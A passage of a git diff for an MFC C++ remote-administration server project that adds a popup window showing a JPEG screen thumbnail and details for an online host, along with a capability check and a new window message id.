m_imageReserveW = imageReserveW > 0 ? min(imageReserveW, MAX_IMAGE_W) : 0; + m_imageReserveH = m_imageReserveW > 0 ? (m_imageReserveW * 9 / 16) : 0; + if (m_imageReserveW > 0 && m_imageReserveW < LOADING_W) { + m_imageReserveW = LOADING_W; + m_imageReserveH = LOADING_H; + } + + // 创建字体(项目是 MBCS,但浮窗用宽字符;显式 LOGFONTW + W 版 API 避免编码混淆) + LOGFONTW lf = {}; + HFONT hSysFont = (HFONT)::GetStockObject(DEFAULT_GUI_FONT); + if (hSysFont && ::GetObjectW(hSysFont, sizeof(lf), &lf) == 0) { + hSysFont = nullptr; + } + if (!hSysFont) { + lf.lfHeight = -12; + wcscpy_s(lf.lfFaceName, L"Microsoft YaHei"); + } + HFONT hF = ::CreateFontIndirectW(&lf); + if (hF) m_font.Attach(hF); + + // 注册自绘窗口类:用 MFC 的 AfxRegisterWndClass 确保和 MFC 子类化机制兼容 + LPCTSTR kClass = AfxRegisterWndClass( + CS_SAVEBITS, + ::LoadCursor(NULL, IDC_ARROW), + (HBRUSH)(COLOR_INFOBK + 1), + NULL); + + // 临时尺寸;RecalcLayoutAndResize 会在创建后调整 + CRect rc(anchor.x, anchor.y, anchor.x + 400, anchor.y + 200); + BOOL bOk = CWnd::CreateEx( + WS_EX_TOPMOST | WS_EX_TOOLWINDOW | WS_EX_NOACTIVATE, + kClass, _T(""), + WS_POPUP | WS_BORDER, + rc, pParent, 0); + if (!bOk) return FALSE; + + RecalcLayoutAndResize(); + + ShowWindow(SW_SHOWNOACTIVATE); + return TRUE; +} + +void CPreviewTipWnd::SetImageFromJpeg(const BYTE* data, size_t bytes) +{ + if (!data || bytes == 0) return; + + HGLOBAL hMem = ::GlobalAlloc(GMEM_MOVEABLE, bytes); + if (!hMem) return; + void* p = ::GlobalLock(hMem); + if (!p) { ::GlobalFree(hMem); return; } + memcpy(p, data, bytes); + ::GlobalUnlock(hMem); + + IStream* stream = nullptr; + if (FAILED(::CreateStreamOnHGlobal(hMem, TRUE, &stream))) { + ::GlobalFree(hMem); + return; + } + + std::unique_ptr bmp(new Bitmap(stream, FALSE)); + stream->Release(); // CreateStreamOnHGlobal(..., TRUE) 释放 stream 时会释放 hMem + + if (!bmp || bmp->GetLastStatus() != Ok) { + return; + } + + m_image = std::move(bmp); + m_hasImage = true; + m_unavailable = false; + RecalcLayoutAndResize(); + if (GetSafeHwnd()) Invalidate(); +} + +void CPreviewTipWnd::MarkPreviewUnavailable() +{ + if (m_hasImage) return; // 已经有图就不再覆盖 + m_unavailable = true; + if (GetSafeHwnd()) Invalidate(); +} + +void CPreviewTipWnd::RecalcLayoutAndResize() +{ + HWND hWnd = GetSafeHwnd(); + if (!hWnd) return; + + // 估算图像尺寸(先算图像,因为文本宽度要参考图像宽度对齐) + if (m_image) { + int iw = (int)m_image->GetWidth(); + int ih = (int)m_image->GetHeight(); + if (iw > MAX_IMAGE_W) { + ih = (int)((double)ih * MAX_IMAGE_W / iw + 0.5); + iw = MAX_IMAGE_W; + } + m_imageDrawW = iw; + m_imageDrawH = ih; + } else { + m_imageDrawW = m_imageReserveW; + m_imageDrawH = m_imageReserveH; + } + + // 文本换行宽度:与图像同宽(让文本视觉上对齐到图像下方),但不超过 MAX_TEXT_W + // 没有图像时退化到 MAX_TEXT_W + int textWrapW = m_imageDrawW > 0 ? min((int)MAX_TEXT_W, m_imageDrawW) : (int)MAX_TEXT_W; + if (textWrapW < MIN_TEXT_W) textWrapW = MIN_TEXT_W; + + // 估算文本尺寸(项目是 MBCS,但浮窗文本是宽字符,必须显式调用 W 版本) + CClientDC dc(this); + CFont* old = dc.SelectObject(&m_font); + CRect rcText(0, 0, textWrapW, 32767); + ::DrawTextW(dc.GetSafeHdc(), m_text, m_text.GetLength(), &rcText, + DT_CALCRECT | DT_LEFT | DT_WORDBREAK | DT_NOPREFIX); + m_textW = max((int)MIN_TEXT_W, rcText.Width()); + if (m_imageDrawW > 0) m_textW = max(m_textW, m_imageDrawW); // 至少与图像同宽 + m_textH = rcText.Height(); + dc.SelectObject(old); + + int contentW = max(m_imageDrawW, m_textW); + int gap = (m_imageDrawW > 0 && m_textH > 0) ? IMAGE_TEXT_GAP : 0; + int totalW = PADDING + contentW + PADDING; + int totalH = PADDING + m_imageDrawH + gap + m_textH + PADDING; + + // 当前左上角 + CRect rc; + GetWindowRect(&rc); + int newX = rc.left; + int newY = rc.top; + + // 防止越出屏幕:右下夹紧到工作区 + HMONITOR hMon = MonitorFromPoint(CPoint(newX, newY), MONITOR_DEFAULTTONEAREST); + MONITORINFO mi = { sizeof(mi) }; + if (hMon && GetMonitorInfo(hMon, &mi)) { + if (newX + totalW > mi.rcWork.right) newX = max((int)mi.rcWork.left, mi.rcWork.right - totalW); + if (newY + totalH > mi.rcWork.bottom) newY = max((int)mi.rcWork.top, mi.rcWork.bottom - totalH); + } + + SetWindowPos(NULL, newX, newY, totalW, totalH, SWP_NOZORDER | SWP_NOACTIVATE); +} + +BOOL CPreviewTipWnd::OnEraseBkgnd(CDC* /*pDC*/) +{ + return TRUE; // 在 OnPaint 里整体填充 +} + +void CPreviewTipWnd::OnPaint() +{ + CPaintDC pdc(this); + CRect rcClient; + GetClientRect(&rcClient); + + // 双缓冲 + CDC memDC; + memDC.CreateCompatibleDC(&pdc); + CBitmap memBmp; + memBmp.CreateCompatibleBitmap(&pdc, rcClient.Width(), rcClient.Height()); + CBitmap* oldBmp = memDC.SelectObject(&memBmp); + + memDC.FillSolidRect(&rcClient, ::GetSysColor(COLOR_INFOBK)); + + CFont* oldFont = memDC.SelectObject(&m_font); + memDC.SetTextColor(::GetSysColor(COLOR_INFOTEXT)); + memDC.SetBkMode(TRANSPARENT); + + int curY = PADDING; + if (m_imageDrawW > 0 && m_imageDrawH > 0) { + CRect rcImg(PADDING, curY, PADDING + m_imageDrawW, curY + m_imageDrawH); + DrawImageArea(memDC, rcImg); + curY += m_imageDrawH + IMAGE_TEXT_GAP; + } + + CRect rcText(PADDING, curY, PADDING + m_textW, curY + m_textH); + DrawTextArea(memDC, rcText); + + memDC.SelectObject(oldFont); + pdc.BitBlt(0, 0, rcClient.Width(), rcClient.Height(), &memDC, 0, 0, SRCCOPY); + memDC.SelectObject(oldBmp); +} + +void CPreviewTipWnd::DrawImageArea(CDC& dc, const CRect& rc) +{ + // 边框 + dc.Draw3dRect(&rc, ::GetSysColor(COLOR_3DSHADOW), ::GetSysColor(COLOR_3DSHADOW)); + + if (m_hasImage && m_image) { + Graphics g(dc.GetSafeHdc()); + g.SetInterpolationMode(InterpolationModeHighQualityBicubic); + g.SetSmoothingMode(SmoothingModeHighQuality); + g.DrawImage(m_image.get(), rc.left + 1, rc.top + 1, rc.Width() - 2, rc.Height() - 2); + } else { + // 占位灰色背景 + CRect rcInner = rc; + rcInner.DeflateRect(1, 1); + dc.FillSolidRect(&rcInner, RGB(245, 245, 245)); + + const wchar_t* placeholder = m_unavailable ? L"Preview Unavailable" : L"Loading Preview ..."; + UINT fmt = DT_CENTER | DT_VCENTER | DT_SINGLELINE | DT_NOPREFIX; + dc.SetTextColor(m_unavailable ? RGB(160, 80, 80) : RGB(120, 120, 120)); + RECT rcInnerRaw = rcInner; + ::DrawTextW(dc.GetSafeHdc(), placeholder, -1, &rcInnerRaw, fmt); + dc.SetTextColor(::GetSysColor(COLOR_INFOTEXT)); + } +} + +void CPreviewTipWnd::DrawTextArea(CDC& dc, const CRect& rc) +{ + RECT r = rc; + ::DrawTextW(dc.GetSafeHdc(), m_text, m_text.GetLength(), &r, + DT_LEFT | DT_TOP | DT_WORDBREAK | DT_NOPREFIX); +} diff --git a/server/2015Remote/PreviewTipWnd.h b/server/2015Remote/PreviewTipWnd.h new file mode 100644 index 0000000..8ce01d5 --- /dev/null +++ b/server/2015Remote/PreviewTipWnd.h @@ -0,0 +1,57 @@ +// PreviewTipWnd.h +// 双击在线主机时弹出的浮窗:上方 JPEG 缩略图,下方主机信息文本。 +// 无图片时显示"加载预览…"占位,供 OnListClick 即时弹窗、收到响应后再 SetImage 重画。 +#pragma once + +#include +#include +#include + +namespace Gdiplus { class Bitmap; } + +class CPreviewTipWnd : public CWnd +{ +public: + CPreviewTipWnd(); + virtual ~CPreviewTipWnd(); + + // 创建浮窗。 + // anchor 屏幕坐标,浮窗左上角 + // text 下方显示的主机详情文本(宽字符,确保跨语言系统正确渲染) + // imageReserveW 上方图像区域预留宽度(即将到来的预览最大宽度,仅作初始布局) + // 为 0 表示不预留 — 与老 STATIC 路径行为一致(仅文本) + BOOL Create(CWnd* pParent, CPoint anchor, const CStringW& text, int imageReserveW); + + // 收到 JPEG 后调用:解码并重画。线程安全前提是只在主 UI 线程调用。 + void SetImageFromJpeg(const BYTE* data, size_t bytes); + // 标记预览不可用(请求超时 / 客户端报错)。 + void MarkPreviewUnavailable(); + + WORD GetReqId() const { return m_reqId; } + void SetReqId(WORD id) { m_reqId = id; } + +protected: + afx_msg void OnPaint(); + afx_msg BOOL OnEraseBkgnd(CDC* pDC); + DECLARE_MESSAGE_MAP() + +private: + void RecalcLayoutAndResize(); + void DrawImageArea(CDC& dc, const CRect& rc); + void DrawTextArea(CDC& dc, const CRect& rc); + + CStringW m_text; + int m_imageReserveW = 0; // 预留图像宽度(图像未到达时占位) + int m_imageReserveH = 0; // 预留图像高度(按 16:9) + int m_imageDrawW = 0; // 实际图像绘制宽度 + int m_imageDrawH = 0; // 实际图像绘制高度 + int m_textW = 0; + int m_textH = 0; + + bool m_hasImage = false; + bool m_unavailable = false; + std::unique_ptr m_image; + + CFont m_font; + WORD m_reqId = 0; +}; diff --git a/server/2015Remote/context.h b/server/2015Remote/context.h index 7d5d520..67c123f 100644 --- a/server/2015Remote/context.h +++ b/server/2015Remote/context.h @@ -68,4 +68,11 @@ public: if (caps.IsEmpty()) return false; return (strtoul(caps.GetString(), nullptr, 16) & CLIENT_CAP_UTF8) != 0; } + + // 检查客户端是否支持屏幕预览(双击主机时拉缩略图)。 + bool SupportsScreenPreview() const { + CString caps = GetClientData(ONLINELIST_CAPABILITIES); + if (caps.IsEmpty()) return false; + return (strtoul(caps.GetString(), nullptr, 16) & CLIENT_CAP_SCREEN_PREVIEW) != 0; + } }; diff --git a/server/2015Remote/stdafx.h b/server/2015Remote/stdafx.h index b708956..c76ec09 100644 --- a/server/2015Remote/stdafx.h +++ b/server/2015Remote/stdafx.h @@ -101,6 +101,7 @@ #define WM_SHOWNOTIFY WM_USER+3031 #define WM_DISCONNECT WM_USER+3032 #define WM_OPENTERMINALDIALOG WM_USER+3033 +#define WM_PREVIEW_RESPONSE WM_USER+3034 #ifdef _UNICODE #if defined _M_IX86